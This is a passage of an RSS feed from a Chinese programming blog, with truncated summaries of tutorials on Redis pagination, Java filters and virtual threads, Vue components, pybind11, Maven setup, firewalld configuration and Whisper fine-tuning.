} println(&#34;</description>
    </item>
    <item>
      <title>Redis实现分页&#43;多条件模糊查询组合方案</title>
      <link>https://bchobby.github.io/posts/e0e089db68601deb1ff94a6530471c93/</link>
      <pubDate>Thu, 19 Oct 2023 22:01:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0e089db68601deb1ff94a6530471c93/</guid>
      <description>导言 Redis是一个高效的内存数据库，它支持包括String、List、Set、SortedSet和Hash等数据类型的存储，在Redis中通常根据数据的key查询其value值，Redis没有模糊条件查询，在面对一些需要分页、排序以及条件查询的场景时(如评论，时间线，检索等)，只凭借Redis所提供的功能就不太好不处理了。&#xA;本文不对Redis的特性做过多赘述。由于之前基于业务问题需要实现基于Redis的条件查询和分页功能，在百度上查询了不少文章，基本不是只有分页功能就是只有条件查询功能的实现，缺少两者组合的解决方案。因此，本文将基于Redis提供条件查询+分页的技术解决方案。&#xA;注：本文只提供实现思路，并不提供实现的代码&#xA;本文将从四个部分进行说明：&#xA;分页实现&#xA;模糊条件查询实现&#xA;分页和模糊条件查询的组合实现&#xA;优化方案&#xA;大家可以直接跳到自己需要的部分进行阅读。&#xA;Redis的分页实现 我们通常习惯于在Mysql、Oracle这样持久化数据库中实现分页查询，但是基于某些特殊的业务场景下，我们的数据并未持久化到了数据库中或是出于查询速度上的考虑将热点数据加载到了缓存数据库中。因此，我们可能需要基于Redis这样的缓存数据库去进行分页查询。&#xA;Redis的分页查询的实现是基于Redis提供的ZSet数据结构实现的，ZSet全称为Sorted Set，该结构主要存储有序集合。下面是它的指令描述以及该指令在分页实现中的作用：&#xA;ZADD：SortedSet的添加元素指令ZADD key score member [[score,member]…]会给每个添加的元素member绑定一个用于排序的值score，SortedSet就会根据score值的大小对元素进行排序。我们为通常习惯于将数据的时间属性当作score用于排序，当然大家也可以根据具体的业务场景去选择排序的目标。&#xA;ZREVRANGE：SortedSet中的指令ZREVRANGE key start stop可以返回指定区间内的成员，可以用来做分页。&#xA;ZREM：SortedSet的指令ZREM key member可以根据key移除指定的成员，能满足删评论的要求。&#xA;所以SortedSet用来做分页是非常适合的。下面是分页实现的演示图，包含插入新记录后的查询情况。&#xA;事实上，Redis中的List结构也是可以实现分页，但List无法实现自动排序，并且Zset还可以根据score进行数据筛选，取出目标score区间内数据。&#xA;所以在实现上，ZSet往往更加适合我们。当然如果你需要插入重复数据的情况下，分页就可能就需要借助List来实现了。具体使用那种结构来实现分页还是需要根据实际的业务场景来进行选择的。&#xA;Redis的多条件模糊查询实现 Redis是key-value类型的内存数据库，通过key直接取数据虽然很方便，但是并未提供像mysql那样方便的sql条件查询支持。因此我们需要借助Redis提供的结构和功能去自己实现模糊条件查询功能。&#xA;事实上，Redis的模糊条件查询是基于Hash实现的，我们可以将数据的某些条件值作为hash的key值，并数据本身作为value进行存储。然后通过Hash提供的HSCAN指令去遍历所有的key进行筛选，得到我们符合条件的所有key值（hscan可以进行模式匹配）。&#xA;为了方便，我们通常将符合条件的key全部放入到一个Set或是List中。这样一来，我们就可以根据得到的key值去取出相应的数据了。下面是模糊查询的演示图(其中field中的命名规则为&amp;lt;id&amp;gt;:&amp;lt;姓名&amp;gt;:&amp;lt;性别&amp;gt;，value为用户详情的json串)。&#xA;查询所有性别为女的用户&#xA;查询所有名字中姓阿的用户&#xA;HSCAN虽然为我们提供了模式匹配的功能，但这种匹配是基于遍历实现的，每一次匹配都需要遍历全部的key，效率上并不高。因此在下面一节会这方面进行补充，本节只谈如何实现模糊匹配。&#xA;Redis的分页+多条件模糊查询组合实现 前面分别单独叙述了如何实现Redis的分页和多条件某查询。在实际使用中，单独使用ZSet实现分页已经能够展现不错的性能了，但存在一个问题是我们所分页的数据往往是伴随着一些动态的筛选条件的，而ZSet并不提供这样的功能。&#xA;面对这种情况，我们通常有两种解决方案：&#xA;如果数据已经存储在了持久化数据库中，我们可以每次在数据库中做好条件查询再将数据放入Redis中进行分页。&#xA;在Redis中实现多条件模糊查询并分页。&#xA;前者方案其实是一个不错的选择，但缺点在于数据有时候并不一定都在持久化数据库中。在有些业务场景下，我们的数据为了展现更好的并发性以及高响应，我们的数据会先放置在缓存数据库中，等到某个时间或者满足某种条件时再持久化到数据库中。&#xA;在这种情况下我们第一个方案就不起作用了，需要使用第二个方案。因此，下面将介绍如何实现多条件模糊查询的基础上进行分页。&#xA;实现思路 首先我们可以采用多条件模糊查询章节所说的方式，将我们所涉及到的条件字段作为hash的field，而数据的内容则作为对应value进行存储(一般以json格式存储，方便反序列化)。&#xA;我们需要实现约定好查询的格式，用前面一节的例子来说，field中的命名规则为&amp;lt;id&amp;gt;:&amp;lt;姓名&amp;gt;:&amp;lt;性别&amp;gt;，我们每次可以通过&#34;*&#34;来实现我们希望的模糊匹配条件，比如“*：*：男”就是匹配所有男性数据，“100*：*：*”就是匹配所有id前缀为100的用户。&#xA;当我们拿到了匹配串后我们先去Redis中寻找是否存在以该匹配串为key的ZSet，如果没有则通过Redis提供的HSCAN遍历所有hash的field，得到所有符合条件的field，并将其放入一个ZSet集合，同时将这个集合的key设置为我们的条件匹配串。如果已经存在了，则直接对这个ZSet进行分页查询即可。对ZSet进行分页的方式已经在前面叙述过了。通过这样的方式我们就实现了最简单的分页+多条件模糊查询。&#xA;上图中，由于并未在缓存数据库中找到符合的ZSet集合，我们将根据匹配串生成一个新的集合用于分页。&#xA;性能优化方案 虽然上文实现了多条件模糊查询+分页的功能，但是在时间开发中，我们不能无限制的生成新的集合，因为匹配串是很多样化的，这会给缓存带来巨大的压力。&#xA;因此我们在生成集合时可以赋予这个集合一个过期时间，到期集合会自动销毁。因为根据时间局部性原理，我们在一段时间内不访问的数据大概率在很长一顿时间内也不会再访问。而对于命中的集合，我们将更新其过期时间。&#xA;同时，我们数据的实时性也是一个问题，因为我们的集合是在生成集合时的Hash内容决定的，对于新插入到Hash的数据，集合是无法探知的，因此有两种解决方案：&#xA;第一种是插入到Hash时同时再插入到其他相应的集合中，保证数据一直是最新的，这种方式需要增加特殊前缀用于识别，否则我们也不清楚到底要插入到哪些集合中。&#xA;第二种方式是定时更新，这种方式比较省力，但无法保证分页数据的实时性。因此具体怎么选择还是取决于业务场景。&#xA;总结 本文大概地描述了实现分页和多条件模糊查询的方案，希望能够对大家有所帮助。&#xA;来源：blog.csdn.net/qq_33905217/article/ details/129211947 又一个 SQL 神器，开源了！&#xA;如何优雅记录 HTTP 请求/ 响应数据&#xA;要想做好架构可视化，你必须弄懂这十个关系&#xA;多账号统一登陆，账号模块的系统设计&#xA;回复【干货】获取精选干货视频教程&#xA;回复【加群】加入疑难问题攻坚交流群</description>
    </item>
    <item>
      <title>【CSDN文章代码获取说明】</title>
      <link>https://bchobby.github.io/posts/71b04a0b5ab7e9bace17af40e8e38057/</link>
      <pubDate>Thu, 19 Oct 2023 21:04:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71b04a0b5ab7e9bace17af40e8e38057/</guid>
      <description>一、获取代码方式： 本文介绍获取源代码的方式，获取代码者默认认同以下内容：&#xA;1.文章标题含“源码分享”的代码“基本免费”，不含“源码分享”的代码需“付费”。&#xA;2.关注CSDN后，CSDN私信回复对应文章期数或者标题，以及根据CSDN私信回复内容输入要求的指令，评论区回复无效。看到后会手动发送下载链接，查看权限为7天有效期，链接失效者请重新私信（取关者忽略）。&#xA;3.链接打开方式，可通过手机公众号/PC浏览器加载（不推荐使用APP或手机浏览器）。下载代码流程并不繁琐，若无法下载可私信。&#xA;二、关于加密 1.会对部分代码中的一个不影响调参的代码加密，含“源码分享”的代码大部分存在加密情况，加密位置为下载链接中标黄的内容。&#xA;2.为了降低代码在二手市场的流通性，保证代码的一定创新性，加密是必然的，公开只是时间问题。为了弥补加密造成的不便， 会投入更多精力售后答疑。&#xA;3.代码会不定期进行更新和完善，加密部分也会逐渐精简和边缘化。&#xA;三、关于售后 1.“源码分享”区用户在csdn私信或者评论区进行交流，抽空进行答疑。&#xA;2.非“源码分享”区用户加下载链接内联系方式，提供长期售后答疑。&#xA;3.部分代码来源于网络，若触碰版权可私信我。</description>
    </item>
    <item>
      <title>Filter与Listener（过滤器与监听器）</title>
      <link>https://bchobby.github.io/posts/9a6b45b79c6eb6ec9fb04ae1c8ad510b/</link>
      <pubDate>Thu, 19 Oct 2023 17:21:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a6b45b79c6eb6ec9fb04ae1c8ad510b/</guid>
      <description>1.Filter 1.过滤器概述 过滤器——Filter，它是JavaWeb三大组件之一。另外两个是Servlet和Listener&#xA;它可以对web应用中的所有资源进行拦截，并且在拦截之后进行一些特殊的操作&#xA;在程序中访问服务器资源时，当一个请求到来，服务器首先判断是否有过滤器与请求资源相关联，如果有，过滤器可以将请求拦截下来，完成一些特定的功能，再由过滤器决定是否交给请求资源。如果没有则像之前那样直接请求资源了。响应也是类似的&#xA;过滤器一般用于完成通用的操作，例如：登录验证、统一编码处理、敏感字符过滤等&#xA;2.Filter概述 Filter 是一个接口，如果想实现过滤器的功能，必须实现该接口&#xA;核心方法&#xA;返回值方法名作用voidinit(FilterConfig config)初始化方法voiddoFilter(ServletRequest req,ServletResponse resp,FilterChain chain)对请求资源和响应资源过滤voiddestory()销毁方法 配置方式&#xA;注解方式&#xA;配置文件 3.FilterChain FilterChain 是一个接口，代表过滤器链对象。由 Servlet 容器提供实现类对象，直接使用即可。&#xA;过滤器可以定义多个，就会组成过滤&#xA;核心方法&#xA;返回值方法名作用voiddoFilter(ServletRequest req,ServletResponse resp)放行方法 如果有多个过滤器，在第一个过滤器中调用下个过滤器，依次类推。直到到达最终访问资源&#xA;如果只有一个过滤器，放行时，就会直接到达最终访问资源&#xA;4.过滤器的使用 需求说明&#xA;通过Filter过滤器解决多个资源写出中文乱码的问题&#xA;实现步骤&#xA;1.创建一个web项目&#xA;2.创建两个Servlet功能类，都向客户端写出中文数据&#xA;3.创建一个Filter过滤器实现类，重写doFilter核心方法&#xA;4.在方法内部解决中文乱码，并放行&#xA;5.部署并启动项目&#xA;6.通过浏览器测试&#xA;package filter; import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException; /* 过滤器基本使用 */ @WebFilter(&#34;/*&#34;) public class FilterDemo01 implements Filter { @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.</description>
    </item>
    <item>
      <title>vue3生成二维码</title>
      <link>https://bchobby.github.io/posts/1e0a462b3871a6c8109d348f3743ef2d/</link>
      <pubDate>Thu, 19 Oct 2023 17:19:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e0a462b3871a6c8109d348f3743ef2d/</guid>
      <description> 1、下载vue-qr npm install vue-qr --save 2\使用时引入 import VueQr from &#39;vue-qr/src/packages/vue-qr.vue&#39;; 3、模板引用 &amp;lt;!-- vue-qr参数 text 二维码，即扫描二维码后跳转的页面 size 二维码大小 margin 二维码图像的外边距, 默认 20px bgSrc 嵌入的背景图地址 logoSrc 嵌入至二维码中心的 LOGO 地址 logoScale 中间图的尺寸 dotScale 二维码的点的大小 colorDark 实点的颜色（注意：和colorLight一起设置才有效） colorLight 空白的颜色（注意：和colorDark一起设置才有效） autoColor 若为 true, 背景图的主要颜色将作为实点的颜色, 即 colorDark,默认 true color-dark=&#34;#ff774b&#34; color-light=&#34;#22252d&#34; --&amp;gt; &amp;lt;VueQr :text=&#34;data.url&#34; :size=&#34;120&#34; :margin=&#34;10&#34; logo-src=&#34;favicon.ico&#34; /&amp;gt; </description>
    </item>
    <item>
      <title>pybind11：python联合c&#43;&#43;编译</title>
      <link>https://bchobby.github.io/posts/b16c235567a338f27aac97478b54a2db/</link>
      <pubDate>Thu, 19 Oct 2023 17:08:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b16c235567a338f27aac97478b54a2db/</guid>
      <description>很多时候，单纯用python脚本编译出来的代码，运行速度会比较慢，可以将部分功能改用C++实现，然后与python联合编译，速度会比较快。&#xA;这里使用pybind11库，将C++代码转换为python可以识别的代码。&#xA;pybind11 是一个轻量级的仅标头库，它在 Python 中公开C++类型，反之亦然，主要用于创建现有C++代码的 Python 绑定。它的目标和语法类似于David Abrahams的优秀Boost.Python库：通过使用编译时自省推断类型信息来最小化传统扩展模块中的样板代码。&#xA;将此库视为 Boost.Python 的小型自包含版本，剥离了与绑定生成无关的所有内容。没有注释，核心头文件只需要~4K行代码，并且依赖于Python（3.6+或PyPy）和C++标准库。由于一些新的 C++11 语言功能（特别是：元组、lambda 函数和可变参数模板），这种紧凑的实现成为可能。自创建以来，该库在许多方面都超越了Boost.Python，导致在许多常见情况下的绑定代码大大简化。&#xA;1. 获取pybind11 pybind11是 header-only的，因此不需要编译动态链接库，直接解压使用即可。&#xA;下载地址：pybind/pybind11 ：https://github.com/pybind/pybind11官方文档：Intro - pybind11 documentation ：https://pybind11.readthedocs.io/en/stable/index.html 下载源码后的文件结构：&#xA;. ├── CMakeLists.txt ├── docs ├── include ├── LICENSE ├── MANIFEST.in ├── noxfile.py ├── pybind11 ├── pyproject.toml ├── README.rst ├── SECURITY.md ├── setup.cfg ├── setup.py ├── tests └── tools 可以将下载的文件直接放进工程代码子目录，也可以使用 git submodule 的方法添加子模块&#xA;git submodule add https://github.com/pybind/pybind11.git third_party/pybind11-2.11.0 cd third_party/pybind11-2.11.0/ git checkout tags/v2.11.0 2.</description>
    </item>
    <item>
      <title>Java虚线程 简介</title>
      <link>https://bchobby.github.io/posts/9648d86fbe88530c9662a0fcb4d33976/</link>
      <pubDate>Thu, 19 Oct 2023 16:56:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9648d86fbe88530c9662a0fcb4d33976/</guid>
      <description>虚线程是JDK19中新引入的一个功能，是用户级别的线程。旨在帮助开发者以更简单、清晰的方式开发出高性能，吞吐量更大的应用程序。&#xA;背景 以服务端应用为例，我们看一下Java中使用Thread的方式&#xA;thread-per-request（同步编程） 在thread-per-request的服务端应用中，一个request从始至终都运行在同一个线程上。这样开发出来的程序有几个特点&#xA;方便开发，方便理解上下文保持一致，便于调试同步阻塞，吞吐量不高 由于JDK的线程是在OS的线程上封装了一层，一个JDK线程对应了一个OS线程。如果线程过多会导致CPU频繁切换也会影响到系统的性能，所以我们在实际应用中通常会使用线程池来控制我们的线程数，同时减少创建、销毁线程所带来的开销。&#xA;asynchronous style （异步编程） 在同步编程的方式中，同时能够处理的请求数量依赖于线程池的数量。在异步编程中采用了另一种thread-sharing的方式，当一个请求遇到I/O操作时，它会将当前线程返还给线程池，这样该线程就可以为其他请求服务。通过异步编程的方式我们可以在资源有限的方式下开发出高性能的services，但是这也带来了不小的复杂度：&#xA;开发复杂，它需要所谓的异步编程风格，采用一组单独的 I/O 方法，这些方法不等待 I/O 操作完成，而是稍后将其完成通知给回调将完整的业务逻辑拆分为多个小阶段，然后使用lambda表达式和流式API组合起来（CompletableFuture, eg）难以调试，线程栈无法提供完整的上下文信息 虚线程 在前面的介绍中我们可以看到应用程序的开发便利性和高性能似乎不可兼得。Vritual Thread的提出就是为了解决这个问题，让开发者能够通过同步的方式进行编程，同时又能够获得异步模式的高吞吐量。&#xA;A virtual thread is an instance of java.lang.Thread that is not tied to a particular OS thread. A platform thread, by contrast, is an instance of java.lang.Thread implemented in the traditional way, as a thin wrapper around an OS thread.&#xA;虚线程 是java.lang.Thread的子类，但是并不和特定的OS线程绑定。当我们的代码运行在虚线程上时：&#xA;如果是在CPU上执行计算，虚线程会消费一个OS thread如果调用了java.*下的阻塞I/O方法，运行时会进行一个非阻塞的OS调用然后自动将当前的虚线程挂起 创建虚线程的开销很低，因此绝对不要池化虚线程，大多数虚线程的生命周期应该伴随着一个后台task或者一个http请求而创建，结束后销毁。&#xA;我们可以通过下面的实例看一下如何使用虚线程&#xA;try (var executor = Executors.</description>
    </item>
    <item>
      <title>Python10.19</title>
      <link>https://bchobby.github.io/posts/1f2385c9bd5846b060b0b8d60f12625d/</link>
      <pubDate>Thu, 19 Oct 2023 16:45:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f2385c9bd5846b060b0b8d60f12625d/</guid>
      <description>提取《唐诗.txt》文件中诗人名和诗篇名，统计收录的每位诗人的诗篇数量，保存在另一个文本文档中 # 读取文件——readline() # with open(r&#39;C:\Users\Administrator\Desktop\唐诗.txt&#39;, mode=&#39;r&#39;) as f: # print(f.readline()) # print(f.readline()) # pass # 输出唐诗的编号和作者和诗名 lis = [] with open(r&#39;C:\Users\Administrator\Desktop\唐诗.txt&#39;) as x: for li in x.readlines(): if &#39;0&#39; &amp;lt;= li[0] &amp;lt;= &#39;9&#39;: lis.append(li) for i in lis: print(i, end=&#34;&#34;) num = {} for i in lis: i = i[3:6] for x in i: if x == &#39;：&#39;: i = i[0:2] if i not in num.keys(): num[i] = 1 else: num[i] += 1 print(num) with open(r&#39;C:\Users\Administrator\Desktop\唐诗1.</description>
    </item>
    <item>
      <title>MAC 配置 Maven</title>
      <link>https://bchobby.github.io/posts/934d4afb32611b8bf34374e26d9bccaa/</link>
      <pubDate>Thu, 19 Oct 2023 15:11:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/934d4afb32611b8bf34374e26d9bccaa/</guid>
      <description>Maven 是一个流行的 Java 项目管理和构建工具，它可以帮助我们管理项目依赖、构建和发布等过程。本文将指导您在 MAC 上配置 Maven 的详细步骤。&#xA;1、下载 Maven 首先，从 Maven 官方网站下载最新版本的 Maven 安装包。下载完成后，将其解压到您的一个目录中。&#xA;设置环境变量&#xA;打开终端，并编辑 ~/.bash_profile 文件，添加以下内容：&#xA;export MAVEN_HOME=/path/to/your/maven/directory export PATH=$MAVEN_HOME/bin:$PATH 这里的 /path/to/your/maven/directory 应该替换为您实际的 Maven 安装目录。&#xA;然后，保存文件并执行以下命令使更改生效：&#xA;source &amp;amp;#126;/.bash_profile 2、验证安装 执行以下命令验证 Maven 是否已成功安装：&#xA;mvn -version 如果一切顺利，您将看到 Maven 的版本信息。&#xA;3、配置 Maven 接下来，我们需要配置 Maven。在终端中执行以下命令：&#xA;cd /path/to/your/maven/conf/ 然后，使用文本编辑器打开 settings.xml 文件：&#xA;nano settings.xml 在 settings.xml 文件中，您可以配置 Maven 的仓库、代理设置、镜像设置等。您可以根据自己的需要进行配置。这里是一个示例：&#xA;&amp;lt;settings&amp;gt; &amp;lt;mirrors&amp;gt; &amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;mirrorId&amp;lt;/id&amp;gt; &amp;lt;url&amp;gt;http://mirror.example.com/repo&amp;lt;/url&amp;gt; &amp;lt;mirrorOf&amp;gt;central&amp;lt;/mirrorOf&amp;gt; &amp;lt;/mirror&amp;gt; &amp;lt;/mirrors&amp;gt; &amp;lt;profiles&amp;gt; &amp;lt;profile&amp;gt; &amp;lt;id&amp;gt;profileId&amp;lt;/id&amp;gt; &amp;lt;repositories&amp;gt; &amp;lt;repository&amp;gt; &amp;lt;id&amp;gt;repoId&amp;lt;/id&amp;gt; &amp;lt;url&amp;gt;http://repo.</description>
    </item>
    <item>
      <title>python数据分析：如何使用机器学习算法进行数据预测？</title>
      <link>https://bchobby.github.io/posts/e30dcbaf924893f15031fc030645f130/</link>
      <pubDate>Thu, 19 Oct 2023 14:20:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e30dcbaf924893f15031fc030645f130/</guid>
      <description>使用机器学习算法进行数据预测是数据分析中常见的任务之一。&#xA;以下是具体的案例：&#xA;1. 线性回归：通过线性关系对数据进行预测。&#xA;解释：线性回归是一种基本的回归算法，适用于预测连续型变量。&#xA;代码示例： from sklearn.linear_model import LinearRegression from sklearn.model_selection import train_test_split from sklearn.metrics import mean_squared_error # 假设有特征矩阵X和目标变量y X = [[1, 2], [2, 4], [3, 6], [4, 8]] y = [3, 6, 9, 12] # 划分训练集和测试集 X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) # 创建线性回归模型 model = LinearRegression() # 拟合模型 model.fit(X_train, y_train) # 预测测试集 y_pred = model.predict(X_test) # 计算均方误差 mse = mean_squared_error(y_test, y_pred) print(&#34;线性回归模型的均方误差：&#34;, mse) 2.</description>
    </item>
    <item>
      <title>avue出现横线</title>
      <link>https://bchobby.github.io/posts/9362c286d84e74215bb27cf894652fe1/</link>
      <pubDate>Thu, 19 Oct 2023 14:14:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9362c286d84e74215bb27cf894652fe1/</guid>
      <description> 如图： 解决方法：&#xA;::v-deep .el-table__fixed,::v-deep .el-table__fixed-right { height: 100% !important; } </description>
    </item>
    <item>
      <title>el-select 下拉框全选、多选的几种方式组件</title>
      <link>https://bchobby.github.io/posts/a9f93c85abec6dfbebe20468be2e9c4e/</link>
      <pubDate>Thu, 19 Oct 2023 13:50:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9f93c85abec6dfbebe20468be2e9c4e/</guid>
      <description>组件一、基础多选 适用性较广的基础多选，用 Tag 展示已选项&#xA;&amp;lt;template&amp;gt; &amp;lt;el-select v-model=&#34;value1&#34; multiple placeholder=&#34;请选择&#34;&amp;gt; &amp;lt;el-option v-for=&#34;item in options&#34; :key=&#34;item.value&#34; :label=&#34;item.label&#34; :value=&#34;item.value&#34;&amp;gt; &amp;lt;/el-option&amp;gt; &amp;lt;/el-select&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { options: [{ value: &#39;选项1&#39;, label: &#39;黄金糕&#39; }, { value: &#39;选项2&#39;, label: &#39;双皮奶&#39; }, { value: &#39;选项3&#39;, label: &#39;蚵仔煎&#39; }, { value: &#39;选项4&#39;, label: &#39;龙须面&#39; }, { value: &#39;选项5&#39;, label: &#39;北京烤鸭&#39; }], value1: [] } } } &amp;lt;/script&amp;gt; 为el-select设置multiple属性即可启用多选，此时v-model的值为当前选中值所组成的数组。默认情况下选中值会以 Tag 的形式展现，你也可以设置collapse-tags属性将它们合并为一段文字。&#xA;&amp;lt;template&amp;gt; &amp;lt;el-select v-model=&#34;</description>
    </item>
    <item>
      <title>firewalld常用的基础配置</title>
      <link>https://bchobby.github.io/posts/9783f805716ba139def6f777c4e08aa0/</link>
      <pubDate>Wed, 18 Oct 2023 23:34:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9783f805716ba139def6f777c4e08aa0/</guid>
      <description>firewalld防火墙是centos7系统默认的防火墙管理工具，取代了之前的iptables防火墙，也是工作在网络层，属于包过滤防火墙。&#xA;支持IPv4、IPv6防火墙设置以及以太网桥支持服务或应用程序直接添加防火墙规则接口拥有两种配置模式：临时模式、永久模式 firewalld和iptables都是用来管理防火墙的工具（属于用户态）来定义防火墙的各种规则功能，内部结构都指向netfilter网络过滤子系统（属于内核态）来实现包过滤防火墙功能。&#xA;firewalld提供了支持网络区域所定义的网络连接以及接口安全等级的动态防火墙管理工具。&#xA;2 Firewalld和iptables的关系 2.1 Firewalld和iptables的关系 netfilter&#xA;位于Linux内核中的包过滤功能体系称为Linux防火墙的“内核态” Firewalld/iptables&#xA;CentOS7默认的管理防火墙规则的工具（Firewalld）称为Linux防火墙的“用户态” 2.2 Firewalld和iptables的区别 1、对规则的设置不同：&#xA;ptables主要是基于接口（网卡），来设置规则，从而判断网络的安全性。firewalld是基于区域，根据不同的区域来设置不同的规则，从而保证网络的安全。与硬件防火墙的设置相类似。 2、配置文件不同：&#xA;iptables在/etc/sysconfig/iptables中储存配置；&#xA;firewalld 将配置储存在/etc/firewalld/（优先加载）和/usr/lib/firewalld/（默认的配置文件）中的各种XML文件里。&#xA;当/etc/firewalld/中没有相关区域的配置文件时，才会加载/usr/lib/firewalld/中的配置文件。 3、对规则的修改：&#xA;使用iptables每一个单独更改，意味着清除所有旧的规则和从/etc/sysconfig/iptables里读取所有新的规则。使用firewalld却不会再创建任何新的规则，仅仅运行规则中的不同之处。因此firewalld可以在运行时间内，改变设置而不丢失现行连接。 4、防火墙类型不同：&#xA;iptables防火墙类型为静态防火墙firewalld防火墙类型为动态防火墙 3 Firewalld区域 3.1 firewalld区域的概念 firewalld防火墙为了简化管理，将所有网络流量分为多个区域(zone)。然后根据数据包的源IP地址或传入的网络接口等条件将流量传入相应区域。每个区域都定义了自己打开或者关闭的端口和服务列表。&#xA;这些区域配置文件存在于/usr/lib/firewalld/zones目录中，还有一个目录/etc/firewalld/zones。firewalld使用规则时，会首先到/etc/firewalld/目录中查找，如果可以找到就直接使用，找不到会继续到/usr/lib/firewalld/目录中查找。&#xA;3.2 firewalld防火墙定义了9个区域 区域作用trusted（信任区域）允许所有的传入流量。public（公共区域）允许与ssh或dhcpv6-client预定义服务匹配的传入流量，其余均拒绝。是新添加网络接口的默认区域。external（外部区域）允许与ssh预定义服务匹配的传入流量其余均拒绝。home（家庭区域）允许与ssh、mdns、samba-client或dhcpv6-client预定义服务匹配的传入流量，其他均拒绝。internal（内部区域）默认值与home区域相同。work（工作区域）允许与ssh、dhcpv6-client预定义服务匹配的传入流量，其他均拒绝dmz（隔离区域也称非军事区域）允许与ssh预定义服务匹配的传入流量，其他均拒绝。block（限制区域）拒绝所有传入流量。drop（丢弃区域）丢弃所有传入流量，并且不产生包含icmp的错误响应。 3.3 firewalld区域介绍和区域优先级 firewalld区域介绍 最终一个区域的安全程度是取决于管理员在此区域中设置的规则。区域如同进入主机的安全门，每个区域都具有不同限制程度的规则，只会允许符合规则的流量传入。可以根据网络规模，使用一个或多个区域，但是任何一个活跃区域至少需要关联源地址或接口。默认情况下，public区域是默认区域，包含所有接口（网卡）。 firewalld数据处理流程 检查数据来源的源地址：&#xA;若源地址关联到特定的区域，则执行该区域所指定的规则若源地址未关联到特定的区域，则使用传入网络接口的区域 并执行该区域所指定的规则若网络接口未关联到特定的区域，则使用默认区域并执行该 区域所指定的规则 区域优先级：源地址绑定的区域 &amp;gt; 网卡绑定的区域 &amp;gt; 默认区域（只要没有绑定过指定区域的网卡，都适用于于默认区域的规则。默认区域可自定义，不修改则为public）&#xA;4 Firewalld防火墙的配置方法 1、firewall-config 图形化工具（生产环境一般只有字符界面，不使用这种方法）&#xA;2、firewall-cmd 命令行工具（生产环境中没有图形化界面，所以只能在命令行进行配置）&#xA;3、编写 /etc/firewalld 中的配置文件。&#xA;Firewalld 会优先使用/etc/firewalld/中的配置，如果不存在配置文件，则使用/usr/lib/firewalld/中的配置。&#xA;/etc/firewalld/：用户自定义配置文件，需要时可通过从/usr/lib/firewalld/ 中拷贝/usr/lib/firewalld/ ：默认配置文件，不建议修改，若恢复至默认配置，可直接删除/etc/firewalld/ 中的配置 4.1 firewall-config 图形化工具 在命令行输入”firewall-config“，回车后会弹出图形化管理工具。生产环境一般只有字符界面，不使用这种方法。&#xA;4.2 firewall-cmd 命令行工具 常用的 firewall-cmd 命令选项：</description>
    </item>
    <item>
      <title>微调Whisper语音识别模型和加速推理</title>
      <link>https://bchobby.github.io/posts/899b167c143b2227fcdd29387f63afdc/</link>
      <pubDate>Wed, 18 Oct 2023 19:08:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/899b167c143b2227fcdd29387f63afdc/</guid>
      <description>前言 OpenAI在开源了号称其英文语音辨识能力已达到人类水准的Whisper项目，且它亦支持其它98种语言的自动语音辨识。Whisper所提供的自动语音识与翻译任务，它们能将各种语言的语音变成文本，也能将这些文本翻译成英文。本项目主要的目的是为了对Whisper模型使用Lora进行微调，目前开源了好几个模型，具体可以在openai查看，下面列出了常用的几个模型。另外项目最后还对语音识别加速推理，使用了CTranslate2加速推理，提示一下，加速推理支持直接使用Whisper原模型转换，并不一定需要微调。&#xA;openai/whisper-tinyopenai/whisper-baseopenai/whisper-smallopenai/whisper-mediumopenai/whisper-largeopenai/whisper-large-v2 源码地址：Whisper-Finetune&#xA;使用环境：&#xA;Anaconda 3Python 3.8Pytorch 1.13.1Ubuntu 18.04GPU A100-PCIE-40GB*1 项目主要程序介绍 aishell.py：制作AIShell训练数据。finetune.py：微调模型。merge_lora.py：合并Whisper和Lora的模型。evaluation.py：评估使用微调后的模型或者Whisper原模型。infer_tfs.py：使用transformers直接调用微调后的模型或者Whisper原模型预测，只适合推理短音频。infer_ct2.py：使用转换为CTranslate2的模型预测，主要参考这个程序用法。infer_gui.py：有GUI界面操作，使用转换为CTranslate2的模型预测。infer_server.py：使用转换为CTranslate2的模型部署到服务器端，提供给客户端调用。 欢迎大家扫码入知识星球讨论，知识星球里面提供项目的模型文件和博主其他相关项目的模型文件，也包括其他一些资源。&#xA;## 模型测试表 原始模型字错率测试表。 使用模型指定语言aishell_testtest_nettest_meeting模型获取whisper-tinyChinese0.318980.404820.75332加入知识星球获取whisper-baseChinese0.221960.304040.50378加入知识星球获取whisper-smallChinese0.138970.184170.31154加入知识星球获取whisper-mediumChinese0.095380.135910.26669加入知识星球获取whisper-largeChinese0.089690.129330.23439加入知识星球获取whisper-large-v2Chinese0.088170.123320.26547加入知识星球获取 微调数据集后字错率测试表。 使用模型指定语言数据集aishell_testtest_nettest_meeting模型获取whisper-tinyChineseAIShell0.130430.44630.57728加入知识星球获取whisper-baseChineseAIShell0.089990.330890.40713加入知识星球获取whisper-smallChineseAIShell0.054520.198310.24229加入知识星球获取whisper-mediumChineseAIShell0.036810.130730.16939加入知识星球获取whisper-large-v2ChineseAIShell0.031390.122010.15776加入知识星球获取whisper-tinyChineseWenetSpeech0.177110.247830.39226加入知识星球获取whisper-large-v2ChineseWenetSpeech0.054430.100870.19087加入知识星球获取 未加速和加速后的推理速度测试表，使用GPU为GTX3090（24G）。 使用模型原生模型实时率(float16)转换CTranslate2加速后实时率(float16)转换CTranslate2加速后实时率(int8_float16)whisper-tiny0.030.060.06whisper-base0.040.060.06whisper-small0.080.080.08whisper-medium0.130.100.10whisper-large-v20.190.120.12 经过处理的数据列表。 